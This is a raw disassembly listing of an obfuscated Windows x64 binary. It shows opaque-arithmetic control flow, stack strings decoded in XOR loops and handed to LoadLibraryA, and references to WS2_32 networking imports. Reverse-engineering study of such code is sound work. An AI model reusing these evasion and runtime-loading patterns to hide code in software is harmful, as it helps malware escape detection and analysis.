je 0x14018654d
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1401862d8
movabs rcx, 0xe590d069f5da05ed
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x140186062
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140186305
movabs rcx, 0x66cc1e9766d494cf
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
jmp 0x1401866e1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140186339
movabs rcx, 0x6942baf248c9b293
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
dec rdi
inc rdi
jmp 0x140185d22
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140186366
movabs rcx, 0xea7e091fb9c44175
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
jmp 0x14018651b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018638d
lea rcx, [rdi + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
add r8, r9
jmp 0x140186788
lea rax, [r9 + 6]
mov byte [rsp + 0x60], bl
cmp r8, rax
jne 0x1401863c2
movabs rdx, 0x6e2ff3a80cb3ee1b
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x43
add r10b, dl
jmp 0x140186579
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140186062
movabs rcx, 0x70a69002eea90bdf
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
mov byte [rsp + 0x60], bl
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018644b
movabs rdx, 0x33bad374891b7114
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x3a
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
inc rax
cmp r8, rax
jne 0x14018647c
movabs rdx, 0xb4f621a1fa15fff6
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x23
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401865a9
lea rax, [r9 + 5]
mov byte [rsp + 0x60], bl
cmp r8, rax
jne 0x1401864b0
movabs rcx, 0x38a80c2a4d05ac9c
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
add r8, r9
jmp 0x140186788
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018609b
movabs rdx, 0x400be13af2e505e8
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rdi + 0x6f0]
sub r10b, al
sub r10b, 0x58
add r10b, dl
add r10b, r11b
movabs rdx, 0xa98851ab624d59
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6f
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x6f0], cl
add r8, r9
jmp 0x140186788
movabs rdx, 0xc1472f6863df94ca
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0x6f0]
add r10b, dl
add r10b, r11b
movabs rcx, 0x81e4d67f1c5cdc3b
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x63
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x6f0], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x42827d95d4da23ac
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x6f0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
movabs rcx, 0x580474761b15e237
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x60], al
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
movabs rcx, 0x53173bc0572ba6af
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x37
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x60], al
add r8, r9
jmp 0x140186788
movabs rcx, 0x50a09f65753688eb
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x60], al
dec rdi
inc rdi
jmp 0x140185d22
movabs rcx, 0x4e2a030a93416b27
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x60], al
jmp 0x1401866e1
movabs rcx, 0x4bb366afb14c4d63
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
movabs rcx, 0x7f6e3a243a67be77
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x41
add cl, r11b
mov byte [rbp + rdi + 0x6f0], cl
inc r9
dec rdi
inc rdi
jmp 0x140185d22
movabs rcx, 0xca7818824051be81
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
inc r9
dec rdi
inc rdi
jmp 0x140185d22
movabs rcx, 0x493cca54cf572f9f
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
dec rdi
inc rdi
jmp 0x140185d22
movabs rcx, 0xc58adfcc7c6782f9
add rcx, rdi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x31
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140185d22
movabs rcx, 0x41d8f5442977d653
add rcx, rdi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x45
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
movabs rcx, 0x90ac80a0681b8ed3
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
jmp 0x140185d10
lea rbx, [rbp + 0x16c06dc]
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x60], al
jmp 0x14018681b
lea rbx, [rbp + 0xe94e4d]
jmp 0x14018681b
lea rbx, [rbp + 0x6f0]
lea rdx, [rbp + 0xad0]
lea rcx, [rbp - 0x4e]
call fcn.1401647f0
xor r14d, r14d
cmp byte [rbp + 0xae9], r14b
je 0x140186882
mov r9d, r14d
lea r10, [rbp + 0xad0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x140186850
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0x1770]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1790]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r14w
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1790]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xad0], xmm0
mov qword [rbp + 0xae0], rax
mov word [rbp + 0xae8], ax
mov rcx, qword [rsp + 0x70]
call fcn.140135dd0
mov esi, 0xc0000001
mov dword [rbp + 0x10], esi
movzx r12d, byte [rbp - 0x74]
mov r13, qword [rsp + 0x78]
lea rcx, [rbp + 0xa08]
call fcn.140135c60
nop
lea rcx, [rbp + 0x1670]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 8]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x48]
call fcn.140135dd0
nop
mov rcx, qword [rbp]
call fcn.140135dd0
test esi, esi
js 0x14018990f
mov byte [rbp + 0xce2], 0x3f
mov byte [rbp + 0xce3], 0x22
mov byte [rbp + 0xce4], 0x26
mov byte [rbp + 0xce5], 0x7e
mov byte [rbp + 0xce6], 0x7c
mov byte [rbp + 0xce7], 0x3a
mov byte [rbp + 0xce8], 0x62
mov byte [rbp + 0xce9], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xcea], 0x3a
mov byte [rbp + 0xceb], 0x39
mov byte [rbp + 0xcec], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xced], xmm0
mov word [rbp + 0xcfd], ax
movzx ebx, byte [rbp + 0x5d00]
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov r11, r14
cmp r11, 0x1d
jae 0x1401876d6
movzx r10d, byte [rbp + r11 + 0xce2]
mov rdx, r10
nop dword [rax]
cmp r8, r11
ja 0x1401876cd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140186a25
movabs rdi, 0x74a23b4f6e30bc9
lea rcx, [r11 + rdi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x7f
jmp 0x140186a60
je 0x140187645
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401875a5
lea rax, [r9 + 4]
cmp r8, rax
je 0x140187545
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018751c
movabs rdi, 0x74a23b4f6e30bc9
nop dword [rax]
cmp r9, r11
ja 0x1401876c4
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140186a94
movabs rdx, 0x9914edd8409ff77d
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6b
add bl, dl
jmp 0x140186ae0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401874c9
inc rax
cmp r8, rax
je 0x14018749f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018747a
lea rax, [r9 + 4]
cmp r8, rax
je 0x140187456
lea rax, [r9 + 7]
cmp r8, rax
je 0x140187433
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140186ff2
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x140186fcb
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140186f9b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140186f6e
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140186f47
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140186f20
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140186ef9
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140186ed2
lea rax, [r9 + 6]
cmp r8, rax
je 0x140186eab
lea rax, [r9 + 3]
cmp r8, rax
je 0x140186e72
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140186af0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14018769e
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140187678
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140186cc1
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140186c9e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140186c7b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140186e47
movabs rcx, 0xf54163420d476623
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0xb
jmp 0x140186ae0
movabs rcx, 0xe6ad1bd81f814e91
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 9
jmp 0x140186a60
movabs rcx, 0xd818d46e31bb36ff
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 7
jmp 0x1401869e6
movabs rdx, 0x967d931183bfccee
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0xce2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401869d3
movabs rdx, 0x87e94ba795f9b55c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401875f5
movabs rdx, 0x7955043da8339dca
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401875c4
movabs rdx, 0x6ac0bcd3ba6d8638
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018758d
movabs rdx, 0x5c2c7569cca76ea6
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14018758a
movabs rdx, 0x4d982dffdee15714
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140187563
movabs rdx, 0x3f03e695f11b3f82
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x39
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x1401869d3
movabs rdx, 0x306f9f2c035527f0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x1401869d3
movabs rdx, 0x21db57c2158f105e
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401874e9
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14018701b
lea rcx, [r11 + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7f
movzx r14d, byte [rsp + 0x60]
jmp 0x14018714d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018705d
movabs rdx, 0x3229dbb0813feefa
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0xce2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401869d3
inc rax
cmp r8, rax
jne 0x14018708c
movabs rdx, 0x40be231a6f06068c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401875f5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401870bc
movabs rdx, 0x4f526a845ccc1e1e
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401875c4
lea rax, [r9 + 7]
mov dword [rbp + 0x10], esi
cmp r8, rax
jne 0x140187100
movabs rdx, 0x89a3882c13e47c66
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx r14d, byte [rsp + 0x60]
mov byte [rsp + 0x60], r14b
dec r11
inc r11
jmp 0x1401869d3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140187142
movabs rdx, 0x9837cf9601aa93f8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x60], al
inc r9
dec r11
inc r11
jmp 0x1401869d3
movzx r14d, byte [rsp + 0x60]
mov byte [rsp + 0x60], r14b
movzx edx, r14b
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x140187404
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1401871fe
movabs rdx, 0xbcaa821ed419cee5
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x43
add bl, dl
cmp r8, 0x5a
jae 0x1401873d2
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1401872c9
movabs rdx, 0x55bf6ff714b9c662
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov esi, dword [rbp + 0x10]
cmp r9, 5
jb 0x1401873ba
movabs rdx, 0xe78a3a1a5e76b216
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x1401874e9
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14018722a
movabs rdx, 0xcb3ec988c1dfe677
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x41
jmp 0x1401874e7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018725d
movabs rcx, 0xe867585c9d6c159b
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x3d
dec r11
inc r11
jmp 0x1401869d3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14018728b
movabs rdx, 0xf6fb9fc68b322d2d
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x3b
add bl, dl
jmp 0x140187563
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], dl
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14018718f
movabs rcx, 0x314cbd6e424a8b75
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x33
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], dl
jmp 0x1401875f5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018730e
movabs rdx, 0x6453b761027fddf4
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov esi, dword [rbp + 0x10]
movzx eax, byte [rbp + r11 + 0xce2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401869d3
inc rax
cmp r8, rax
jne 0x140187340
mov byte [rbp + r11 + 0xce2], bl
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], r14b
inc r11
jmp 0x1401869d3
movabs rdx, 0xf61e81844c3cc9a8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r11 + 0xce2]
add bl, dl
add bl, r10b
mov esi, dword [rbp + 0x10]
jmp 0x140187563
movabs rdx, 0x4b2c8ee3a02e13a
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xce2]
add bl, r10b
add bl, dl
jmp 0x1401875c4
movabs rcx, 0xdb72927aed0b40d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5b
jmp 0x1401875f5
movabs rcx, 0xf08e9a53d34484e9
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5f
jmp 0x14018758d
movabs rdx, 0xd3660b7ff7b855c5
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x63
add bl, dl
jmp 0x140187563
movabs rcx, 0xc4d1c41609f23e33
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x65
dec r11
inc r11
jmp 0x1401869d3
movabs rdx, 0xa7a935422e660f0f
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x69
add bl, dl
movabs rcx, 0xeed45dcf5559bddf
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x19
add cl, r10b
mov byte [rbp + r11 + 0xce2], cl
inc r9
dec r11
inc r11
jmp 0x1401869d3
movabs rcx, 0x6d58179a774db0c7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x71
dec r11
inc r11
jmp 0x1401869d3
movabs rcx, 0x5ec3d03089879935
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x73
movabs rcx, 0xfd68a539431fd571
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x17
add cl, r10b
add cl, bl
mov byte [rbp + r11 + 0xce2], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401869d3
mov r10, rdx
movabs rcx, 0x3306f9f2c035527f
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x79
movabs rcx, 0xbfceca330e5ed03
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x15
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0xce2], al
inc r9
add rax, r9
sub r11, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xce2], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xce2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401869d3
movabs rcx, 0x15de6b1ee4a9235b
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x7d
movzx eax, byte [rbp + r11 + 0xce2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401869d3
movabs rcx, 0xc9848d0443f51f6d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 5
xor r14d, r14d
jmp 0x1401869d0
movabs rcx, 0xbaf0459a562f07db
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 3
xor r14d, r14d
jmp 0x1401869c0
lea rcx, [rbp + 0x14bf7ee]
jmp 0x1401876dd
lea rcx, [rbp + 0xaf03b7]
jmp 0x1401876dd
lea rcx, [rbp + 0xce2]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x1401884ee
mov byte [rbp + 0x21f2], 0xee
mov byte [rbp + 0x21f3], 0xc5
mov byte [rbp + 0x21f4], 0xe0
mov byte [rbp + 0x21f5], 0xea
mov byte [rbp + 0x21f6], 0xe9
mov byte [rbp + 0x21f7], 0xf1
mov byte [rbp + 0x21f8], 0xd3
mov byte [rbp + 0x21f9], 0xc1
mov byte [rbp + 0x21fa], getservbyname
mov byte [rbp + 0x21fb], 0x2a
mov byte [rbp + 0x21fc], gethostbyaddr
mov byte [rbp + 0x21fd], reloc.WS2_32.dll_select
mov byte [rbp + 0x21fe], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x21ff], recvfrom
mov byte [rbp + 0x2200], getservbyname
mov byte [rbp + 0x2201], getservbyname
mov byte [rbp + 0x2202], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x2203], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2204], 0x3d
mov byte [rbp + 0x2205], 0x3f
mov byte [rbp + 0x2206], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x2207], xmm0
movzx ebx, byte [rbp + 0x5d00]
movzx r15d, byte [rsp + 0x60]
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x25
jae 0x1401883c4
movzx r10d, byte [rbp + r11 + 0x21f2]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x1401883bb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140187804
movabs rcx, 0x14b8e79e7c471f78
add rcx, r11
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
sub bl, 0x48
jmp 0x140187840
je 0x14018832e
inc rax
cmp r8, rax
je 0x140188289
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018824f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401881fd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401881cd
nop dword [rax]
cmp r9, r11
ja 0x1401883b2
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140187876
movabs rdx, 0xb32b000031d594d8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401878c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140188176
inc rax
cmp r8, rax
je 0x140188149
lea rax, [r9 + 3]
cmp r8, rax
je 0x140188125
lea rax, [r9 + 4]
cmp r8, rax
je 0x140188100
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401880db
nop word [rax + rax]
movzx edx, r15b
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140187dcc
nop dword [rax]
nop word [rax + rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140187da7
lea rax, [r9 + 8]
cmp r8, rax
je 0x140187d7a
lea rax, [r9 + 4]
cmp r8, rax
je 0x140187d50
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140187d3c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140187d15
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140187cee
lea rax, [r9 + 6]
cmp r8, rax
je 0x140187ccb
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140187c95
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14018838b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140188367
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140187a7f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140187a58
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140187a33
movabs rdx, 0x16f3f3d0820fd738
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140187840
movabs rdx, 0xed82249389819848
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401877c6
cmp r8, 0x2a
jae 0x14018807e
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140187f92
movabs rdx, 0xa33a30c3cec81470
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x10
add bl, dl
mov esi, dword [rbp + 0x10]
cmp r9, 0x200
jb 0x140188066
add bl, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1401880a9
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140187e9e
movabs rdx, 0xf00f30c39cf27f98
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x28
add bl, dl
mov esi, dword [rbp + 0x10]
jmp 0x140187bbd
movabs rcx, 0x330200012b017d10
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x70
movzx eax, byte [rbp + r11 + 0x21f2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401877b3
movabs rcx, 0xe01e618739e4ff30
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x1401882ac
movabs rdx, 0xb6ac924a4156c040
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
